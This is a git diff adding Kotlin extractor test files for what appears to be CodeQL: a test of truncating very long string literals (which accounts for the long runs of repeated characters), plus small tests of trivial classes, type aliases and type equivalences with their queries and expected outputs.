BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB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+
diff --git a/java/ql/test/kotlin/library-tests/trap/long_string.kt b/java/ql/test/kotlin/library-tests/trap/long_string.kt
new file mode 100644
index 00000000000..6de672aa61c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trap/long_string.kt
@@ -0,0 +1,20 @@
+
+// Has 1 byte spare:
+// python -c "print('    val longStringLiteral1 = \"A' + 'B' * 1048573 + 'C\"')"
+// Has 0 bytes spare:
+// python -c "print('    val longStringLiteral2 = \"A' + 'B' * 1048573 + 'CD\"')"
+// Has 1 bytes truncated:
+// python -c "print('    val longStringLiteral3 = \"A' + 'B' * 1048573 + 'CDE\"')"
+// Has 2 bytes truncated:
+// python -c "print('    val longStringLiteral4 = \"A' + 'B' * 1048573 + 'CDEF\"')"
+// Has 2 bytes truncated:
+// python -c "print('    val longStringLiteral5 = \"A' + '\\\\\"' * 1048573 + 'CDEF\"')"
+
+fun longLiteralFun() {
+    val longStringLiteral1 = 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+    val longStringLiteral4 = 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\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"CDEF"
+}
+
diff --git a/java/ql/test/kotlin/library-tests/trivial/Trivial.kt b/java/ql/test/kotlin/library-tests/trivial/Trivial.kt
new file mode 100644
index 00000000000..d32250364b8
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trivial/Trivial.kt
@@ -0,0 +1 @@
+class Trivial {}
diff --git a/java/ql/test/kotlin/library-tests/trivial/elements.expected b/java/ql/test/kotlin/library-tests/trivial/elements.expected
new file mode 100644
index 00000000000..0cf5d6f708c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trivial/elements.expected
@@ -0,0 +1,7 @@
+| Trivial.kt:0:0:0:0 | Trivial | CompilationUnit |
+| Trivial.kt:1:1:1:16 | Trivial | Class |
+| Trivial.kt:1:1:1:16 | Trivial | Constructor |
+| Trivial.kt:1:1:1:16 | super(...) | SuperConstructorInvocationStmt |
+| Trivial.kt:1:1:1:16 | { ... } | BlockStmt |
+| Trivial.kt:1:1:1:16 | { ... } | BlockStmt |
+| file://:0:0:0:0 |  | Package |
diff --git a/java/ql/test/kotlin/library-tests/trivial/elements.ql b/java/ql/test/kotlin/library-tests/trivial/elements.ql
new file mode 100644
index 00000000000..6955130f94d
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/trivial/elements.ql
@@ -0,0 +1,5 @@
+import java
+
+from Element e
+where e.fromSource()
+select e, e.getPrimaryQlClasses()
diff --git a/java/ql/test/kotlin/library-tests/type_aliases/aliases_with_type_parameters.kt b/java/ql/test/kotlin/library-tests/type_aliases/aliases_with_type_parameters.kt
new file mode 100644
index 00000000000..77ccea9c714
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_aliases/aliases_with_type_parameters.kt
@@ -0,0 +1,7 @@
+class Test<T> {}
+
+typealias Alias2<R> = Test<R>
+
+typealias Alias1<S> = Alias2<S>
+
+fun f() : Alias1<String> = Test<String>()
diff --git a/java/ql/test/kotlin/library-tests/type_aliases/test.kt b/java/ql/test/kotlin/library-tests/type_aliases/test.kt
new file mode 100644
index 00000000000..8857914390a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_aliases/test.kt
@@ -0,0 +1,16 @@
+
+class MyClass<T> {}
+
+typealias AliasInt = Int
+typealias AliasX = MyClass<Int>
+typealias AliasY = MyClass<AliasInt>
+
+fun someFun(
+    x1: Int,
+    x2: AliasInt,
+    x3: MyClass<Int>,
+    x4: AliasX,
+    x5: MyClass<AliasInt>,
+    x6: AliasY) {
+}
+
diff --git a/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.expected b/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.expected
new file mode 100644
index 00000000000..7946e448da6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.expected
@@ -0,0 +1,3 @@
+| test.kt:4:1:4:24 | AliasInt | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| test.kt:5:1:5:31 | AliasX | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
+| test.kt:6:1:6:36 | AliasY | file://:0:0:0:0 | Kotlin nullable FakeKotlinClass |
diff --git a/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.ql b/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.ql
new file mode 100644
index 00000000000..79ec3869c0a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_aliases/type_aliases.ql
@@ -0,0 +1,4 @@
+import java
+
+from KotlinTypeAlias ta
+select ta, ta.getKotlinType()
diff --git a/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.expected b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.expected
new file mode 100644
index 00000000000..118dc0a17f1
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.expected
@@ -0,0 +1,8 @@
+| type_equivalences.kt:4:1:4:65 | fooUnit | file://:0:0:0:0 | void | 0 | type_equivalences.kt:4:13:4:19 | x | file://<external>/Unit.class:0:0:0:0 | Unit |
+| type_equivalences.kt:4:1:4:65 | fooUnit | file://:0:0:0:0 | void | 1 | type_equivalences.kt:4:22:4:33 | y | file://<external>/Par.class:0:0:0:0 | Par<Unit> |
+| type_equivalences.kt:5:1:5:65 | fooVoid | file://<external>/Void.class:0:0:0:0 | Void | 0 | type_equivalences.kt:5:13:5:19 | x | file://<external>/Void.class:0:0:0:0 | Void |
+| type_equivalences.kt:5:1:5:65 | fooVoid | file://<external>/Void.class:0:0:0:0 | Void | 1 | type_equivalences.kt:5:22:5:33 | y | file://<external>/Par.class:0:0:0:0 | Par<Void> |
+| type_equivalences.kt:6:1:6:80 | fooNothing | file://<external>/Void.class:0:0:0:0 | Void | 0 | type_equivalences.kt:6:16:6:25 | x | file://<external>/Void.class:0:0:0:0 | Void |
+| type_equivalences.kt:6:1:6:80 | fooNothing | file://<external>/Void.class:0:0:0:0 | Void | 1 | type_equivalences.kt:6:28:6:42 | y | file://<external>/Par.class:0:0:0:0 | Par<Void> |
+| type_equivalences.kt:7:1:7:60 | fooInt | file://:0:0:0:0 | int | 0 | type_equivalences.kt:7:12:7:17 | x | file://:0:0:0:0 | int |
+| type_equivalences.kt:7:1:7:60 | fooInt | file://:0:0:0:0 | int | 1 | type_equivalences.kt:7:20:7:30 | y | file://<external>/Par.class:0:0:0:0 | Par<Integer> |
diff --git a/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.kt b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.kt
new file mode 100644
index 00000000000..6c7e43d4193
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.kt
@@ -0,0 +1,8 @@
+
+class Par<T> {}
+
+fun fooUnit(x: Unit, y: Par<Unit>): Unit { return fooUnit(x, y) }
+fun fooVoid(x: Void, y: Par<Void>): Void { return fooVoid(x, y) }
+fun fooNothing(x: Nothing, y: Par<Nothing>): Nothing { return fooNothing(x, y) }
+fun fooInt(x: Int, y: Par<Int>): Int { return fooInt(x, y) }
+
diff --git a/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.ql b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.ql
new file mode 100644
index 00000000000..00fa7f844c9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/type_equivalences/type_equivalences.ql
@@ -0,0 +1,18 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+from Method m, int i, Parameter p
+where
+  m.getName().matches("foo%") and
+  p = m.getParameter(i)
+select m, m.getReturnType(), i, p, p.getType()
diff --git a/java/ql/test/kotlin/library-tests/types/types.expected b/java/ql/test/kotlin/library-tests/types/types.expected
new file mode 100644
index 00000000000..5fe5d97d0b2
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/types/types.expected
@@ -0,0 +1,2172 @@
+| ? | Wildcard |
+| ? extends A | Wildcard |
+| ? extends AccessMode | Wildcard |
+| ? extends AccessibleObject | Wildcard |
+| ? extends AnnotatedType | Wildcard |
+| ? extends Annotation | Wildcard |
+| ? extends Annotation[] | Wildcard |
+| ? extends Attribute | Wildcard |
+| ? extends AttributedCharacterIterator | Wildcard |
+| ? extends BaseLocale | Wildcard |
+| ? extends BasicType | Wildcard |
+| ? extends BigInteger | Wildcard |
+| ? extends ByteBuffer | Wildcard |
+| ? extends Callable<T> | Wildcard |
+| ? extends Certificate | Wildcard |
+| ? extends CharSequence | Wildcard |
+| ? extends Characteristics | Wildcard |
+| ? extends ChronoLocalDate | Wildcard |
+| ? extends Class<> | Wildcard |
+| ? extends Class<?> | Wildcard |
+| ? extends ClassDataSlot | Wildcard |
+| ? extends ClassDesc | Wildcard |
+| ? extends ClassOption | Wildcard |
+| ? extends ClassTypeSignature | Wildcard |
+| ? extends CodeSigner | Wildcard |
+| ? extends ConstantDesc | Wildcard |
+| ? extends Constructor<?> | Wildcard |
+| ? extends CopyOption | Wildcard |
+| ? extends DateTimePrinterParser | Wildcard |
+| ? extends DoubleStream | Wildcard |
+| ? extends E | Wildcard |
